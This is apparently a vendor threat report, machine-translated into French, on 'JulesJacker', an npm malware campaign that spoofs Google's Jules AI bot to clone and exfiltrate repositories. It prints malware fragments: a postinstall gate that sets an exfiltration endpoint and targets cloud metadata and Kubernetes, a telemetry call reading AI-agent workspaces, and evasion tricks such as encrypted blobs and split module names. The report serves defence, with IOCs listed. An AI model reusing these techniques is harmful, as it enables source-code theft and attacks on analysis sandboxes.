JulesJacker : Un faux ver npm usurpe l’identité de Jules AI

JulesJacker : un ver npm de fausse preuve de concept qui imite l’agent Jules de Google et active l’environnement de test pour l’analyser.

TL; DR

Un seul opérateur npm a passé six semaines à publier de faux packages « utilitaires » TypeScript tels que ts-form-utils, ts-project-lint et ts-enum-helper.

Bien que les paquets exposent de petits outils de validation d'apparence légitime, la véritable charge utile s'exécute lors de l'installation ou du premier chargement et effectue l'empreinte numérique de l'hôte, la découverte de l'organisation GitHub, le clonage du dépôt et l'exfiltration du code source.

Le logiciel malveillant cible spécifiquement les organisations GitHub à forte valeur ajoutée, notamment plusieurs Shopify Les référentiels, puis les archives et exfiltrent les arbres sources accessibles vers un point de terminaison de collecte centralisé.

Dans le cadre du processus de compromission, la charge utile commitRéintroduire le fichier sa dans les dépôts des victimes en usurpant l'identité de codage autonome de Google google-labs-jules[bot].

Nous avons suivi la campagne — nommée JulesJacker — à travers plusieurs périmètres d'éditeurs et au moins cinq générations de charges utiles, y compris des variantes chiffrées et compatibles avec les environnements sandbox.

La toute nouvelle variante cible spécifiquement l'infrastructure d'analyse des logiciels malveillants : elle s'active uniquement à l'intérieur des environnements d'analyse, vole les jetons de compte de service des métadonnées cloud et sonde les plans de contrôle Kubernetes et les compartiments de stockage cloud.

L'IOC principal partagé par toutes les générations de charge utile est le point de terminaison de collecte aaronstack[.]com/jules-collect.

Gravité : critique.

L'attaque : comment elle fonctionne

Chaque package JulesJacker suit le même modèle. package.json Il fait la publicité d'un assistant TypeScript inoffensif sous licence MIT et sans dépôt de code source lié. index.js Il exporte une poignée de fonctions réelles et fonctionnelles (expressions régulières pour les adresses e-mail, tables d'énumération, tables de règles de lint) afin qu'un développeur qui importe le package puisse observer un comportement plausible. Le problème se situe ailleurs : dans un post-installation crochet, ou dans un bloc au bas de index.js qui s'exécute au moment où le module est requis.

Les charges utiles ont évolué à travers des étapes internes clairement numérotées (l'opérateur nomme lui-même ses événements de télémétrie). sc1-, sc3-, sc4-, et ainsi de suite), et observer cette évolution est la manière la plus claire de comprendre la campagne.

 Génération 1-2 : reconnaissance et vol de configurations Git

Les premiers paquets étaient de simples voleurs d'informations. Lors de leur installation, ils récupéraient les variables d'environnement, le fichier hosts de l'interface de ligne de commande GitHub et la configuration globale de Git (git config --global --list, git distant -vL'opérateur a ensuite envoyé le paquet au point de terminaison de la collection via une requête POST. Cette démarche a permis de définir sa signature : une couverture basée sur des « utilitaires de validation de formulaires TypeScript », une redirection vers un seul domaine et une préférence pour les identifiants de développeur plutôt que pour les données des consommateurs.

Génération 3 : sondes d’échappement de l’hyperviseur et du noyau

Une version déployée en milieu de campagne s'est radicalement orientée vers les attaques d'infrastructure. Au lieu de voler la configuration, elle a exécuté un outil de reconnaissance pour sonder l'infrastructure. AF_VSOCK sockets, régions MMIO virtio, / dev / mem, et les indicateurs de renforcement du noyau, et même les tentatives de plantage du noyau déclenchées par sysrq — un comportement associé aux tentatives de sortie d'une machine virtuelle ou d'un conteneur. Les balises de télémétrie (s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, sonde du noyau s3) a rendu l'intention explicite. Cette variante visait clairement à environnements de bac à sable cloud et d'exécution sans serveur — le genre de machine virtuelle éphémère qui construit et teste du code non fiable.

Génération 3 (SC3) : le ver d’écriture inter-dépôts

Le point central de la campagne est devenu un voleur de dépôts auto-réplicatif. Une fois installé, le programme exécute une séquence chronométrée en cinq étapes :

  • La Phase 0 (~100 ms) : empreinte digitale de l'hôte — nom d'hôte, informations utilisateur, identité git.
  • La Phase 1 (~3 s) : déterminer à quelle organisation appartient la victime en inspectant git distant -v, puis recherchez une valeur codée en dur CONFIG_ORG accès au tableau et au dépôt de test avec git ls-remote — acheminé via un proxy SSRF contrôlé par un attaquant à http://git@192.168.0.1:8080.
  • La Phase 2 (~10 s) : git clone Pour chaque dépôt accessible dans la liste cible, compressez l'arbre en tarball et gzip, encodez-le en base64 et exfiltrez-le par morceaux.
  • La Phase 3 (~45 s) : la « preuve d’accès » — clonez un dépôt accessible en écriture, déposez un fichier nommé SECURITY-POC.md, et commit il avec l'auteur défini sur google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com> et le message de tâche : mettre à jour le cache des dépendances, puis pousser vers la branche principale de la victime.

La liste cible codée en dur n'est pas générique. Elle énumère plus de trente éléments. Shopify dépôts par nom — Shopify/shopify, Shopify/identité, Shopify/facturation, Shopify/coffre-fort, Shopify/secrets, Shopify/infrastructure, Shopify/.githubet bien d'autres encore — ainsi qu'une organisation test, AaronStackBarnes, que l'opérateur semble contrôler et utiliser comme cible d'écriture.

Génération 4 (SC4) : chiffrée et sécurisée

La toute nouvelle variante destinée aux développeurs ajoute deux couches d'évasion au ver SC3.

Premièrement, la charge utile n'est plus transmise en clair. La logique proprement dite se trouve dans un bloc chiffré AES-256-CBC. lib/.perf.dat, avec le vecteur d'initialisation dans ses seize premiers octets. Le chargeur dans index.js reconstruit la clé de déchiffrement à partir de fragments de chaîne concaténés, déchiffre le blob et l'exécute avec nouvelle fonction()Même les noms des modules sont divisés pour contourner les analyseurs statiques. exiger('crypt' + 'o'), exiger('f' + 's').

Deuxièmement, son exécution est contrôlée par l'hôte. Une variante ne déchiffre et ne s'exécute que lorsque… os.hostname() équivaut à boîte de développement or ubuntu-fc-uvm (une valeur par défaut de Firecracker microVM) ou contient la sous-chaîne boîte de développementUne autre porte sur la présence d'un .jules/ directeur de travail:

javascript // only fires when a Jules agent workspace is present post('sc4-jules-dir', {   cwd: cwd,   jules_cwd: readDir(cwd + '/.jules'),   jules_app: readDir('/app/.jules') }); 

En d'autres termes, la charge utile SC4 est conçue pour rester inactive sur l'ordinateur portable d'un développeur ordinaire et ne s'activer qu'à l'intérieur de l'agent d'IA automatisé. environnements sandbox L'opérateur souhaite en réalité faire des compromis.

Mise en marche du laboratoire : la variante infrastructure d’analyse

Le dispositif le plus novateur de la campagne, ts-enum-helper, n'attaque ni les développeurs ni Shopify. postinstall.sh s'ouvre sur une porte qui révèle le jeu :

sh # Only run in malysis GKE environment [ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0  EXFIL="https://aaronstack.com/jules-collect" MD="http://metadata.google.internal/computeMetadata/v1" K8S="https://kubernetes.default.svc" 

Le script reste inactif tant qu'une variable d'environnement spécifique à une plateforme d'analyse de logiciels malveillants n'est pas définie. Dans ce cas, la charge utile sait qu'elle s'exécute dans un environnement isolé conçu pour analyser et tester des logiciels malveillants similaires, et elle lance une contre-attaque.

Il commence par extraire le jeton OAuth du compte de service GCP depuis le serveur de métadonnées de l'instance et l'exfiltre. Ensuite, à l'aide de ce jeton, il analyse les données. Plan de contrôle Kubernetes joignable à kubernetes.default.svc:

  • liste ClusterRoleBindings, ClusterRoles et Nodes ;
  • sonde les pods, les secrets et les configmaps à travers système kube, défaut, kube-public, bail de nœud kube, et l'espace de noms d'analyse ;
  • La fonction SelfSubjectAccessReview effectue des appels pour cartographier précisément ce que l'identité volée est autorisée à faire.

Enfin, il effectue une recherche exhaustive des noms de compartiments Google Cloud Storage construits à partir d'un ID de projet GCP codé en dur (rare-signer-437603-p9) et le numéro de projet, en devinant des combinaisons telles que *-builds, *-artefactset plusieurs analyse- préfixes (résultats d'analyse, packages d'analyse, scans d'analyseChaque code de réponse et son corps sont enregistrés et renvoyés à la même adresse POST. Jules-Collect point final.

Il s'agit d'un cas rare de charge utile intégrée à la chaîne d'approvisionnement, conçue spécifiquement pour attaquer l'infrastructure des défenseurs. Le récit qui sert de couverture à toute la campagne — dont des fragments apparaissent dans les charges utiles sous forme de commentaires présentant le comportement comme une « preuve de concept de recherche en sécurité… écriture inter-dépôts via un jeton proxy Git surdimensionné » — est la même justification, que la cible d'exécution soit un monorepo Shopify ou le serveur de métadonnées du cluster d'analyse.

Calendrier et migration du périmètre

JulesJacker n'est pas une opération ponctuelle. Il s'agit d'une opération continue qui a survécu à la fermeture d'un registre en changeant simplement de nom.

Lorsque vousEspaces
Mi-avril 2026 Les premiers paquets apparaissent sous la portée de l'éditeur d'origine : façade TS-utility, environnement et exfiltration de git-config.
Début mai 2026 Une variante de reconnaissance de l'hyperviseur et de l'échappement du noyau a été publiée.
Mi-mai à fin mai 2026 Le ver d'écriture inter-dépôts SC3 apparaît aux côtés de charges utiles ciblant Shopify et google-labs-jules[bot] Usurpation d'identité. SC4 introduit des chargeurs chiffrés AES et contrôlés par l'hôte.
Fin mai 2026 npm supprime la portée de l'éditeur d'origine ; les noms de paquets sont résolus en espaces réservés vides contenant des informations de sécurité.
La même semaine L'opérateur migre vers une zone d'action quasi identique et republie le ver, y compris la variante d'infrastructure d'analyse.

La migration est l'aspect sur lequel les défenseurs doivent se concentrer. La destruction de la première lunette n'a pas mis fin à la campagne, ni même ralenti son déroulement. L'opérateur avait déjà mis en place une lunette parallèle dont le nom ne diffère de l'original que par un seul caractère, et a continué à publier au cours de la même semaine. À l'heure où nous écrivons ces lignes, la nouvelle lunette… ts-form-utils (versions 1.0.0 à 1.1.0), ses ts-project-lint (1.0.0 et 1.1.0), et la version autonome ts-enum-helper (1.0.0) reste installable.

Indicateurs de compromis

Tous les indicateurs ci-dessous ont été confirmés par rapport à la source du package.

TypeIndicateurRemarques
Réseau (C2)aaronstack[.]com/jules-collect Point de terminaison de collecte unique pour chaque génération ; reçoit des données de télémétrie JSON et des fragments d'archive tar.gzip du dépôt base64.
Réseau (proxy SSRF)http://git@192.168.0.1:8080 Interface pour un jeton proxy git à portée étendue utilisé pour accéder aux dépôts de l'organisation cible.
Réseau (cloud) metadata.google.internal/computeMetadata/v1
kubernetes.default.svc
storage.googleapis.com/storage/v1/b
Utilisé uniquement par la variante d'infrastructure d'analyse pour le vol de jetons et la reconnaissance du plan de contrôle Kubernetes.
Identite google-labs-jules[bot]
161369871+google-labs-jules[bot]@users.noreply.github.com
Forgé commit L'identité de l'auteur a été imposée aux branches principales victimes.
Fichierlib/.perf.dat blob de charge utile chiffré AES-256-CBC ; IV stocké dans les 16 premiers octets et clé reconstruite dynamiquement dans index.js.
FichierSECURITY-POC.md Lâché et commitrenvoyés dans les bases de données des victimes avec le message chore: update dependency cache.
Fichierscripts/postinstall.sh Porté sur $MALYSIS_ANALYSIS_ID; identifie la variante de ciblage de l'infrastructure d'analyse.
Comportementale os.hostname() vérifie devbox / ubuntu-fc-uvm Contrôle de l'environnement Sandbox et de l'agent IA avant le décryptage et l'exécution de la charge utile.
Comportementale .jules/ et /app/.jules lectures de répertoire Ciblage explicite des environnements de travail des agents d'IA.
Comportementale sc1-, sc3-, sc4-, s0-vmm-recon Étiquettes d'étape de télémétrie définies par l'opérateur, utiles pour la détection et la recherche.
Cible cloud rare-signer-437603-p9
malysis-* estimations de seaux
Identifiants de projet GCP codés en dur et modèles d'énumération des compartiments de stockage intégrés dans la variante d'infrastructure d'analyse.
Forme de l'emballage Façade de package utilitaire TS sans champ de dépôt Modèle de campagne cohérent : faux packages utilitaires TypeScript contenant des charges utiles malveillantes intégrées. postinstall hooks ou ajouté à index.js.
sca-tools-logiciel-outils-d'analyse-de-composition
Priorisez, corrigez et sécurisez vos risques logiciels
Obtenez votre compte gratuit.
Aucune carte de crédit requise.

Sécurisez le développement et la livraison de vos logiciels

avec la suite de produits Xygeni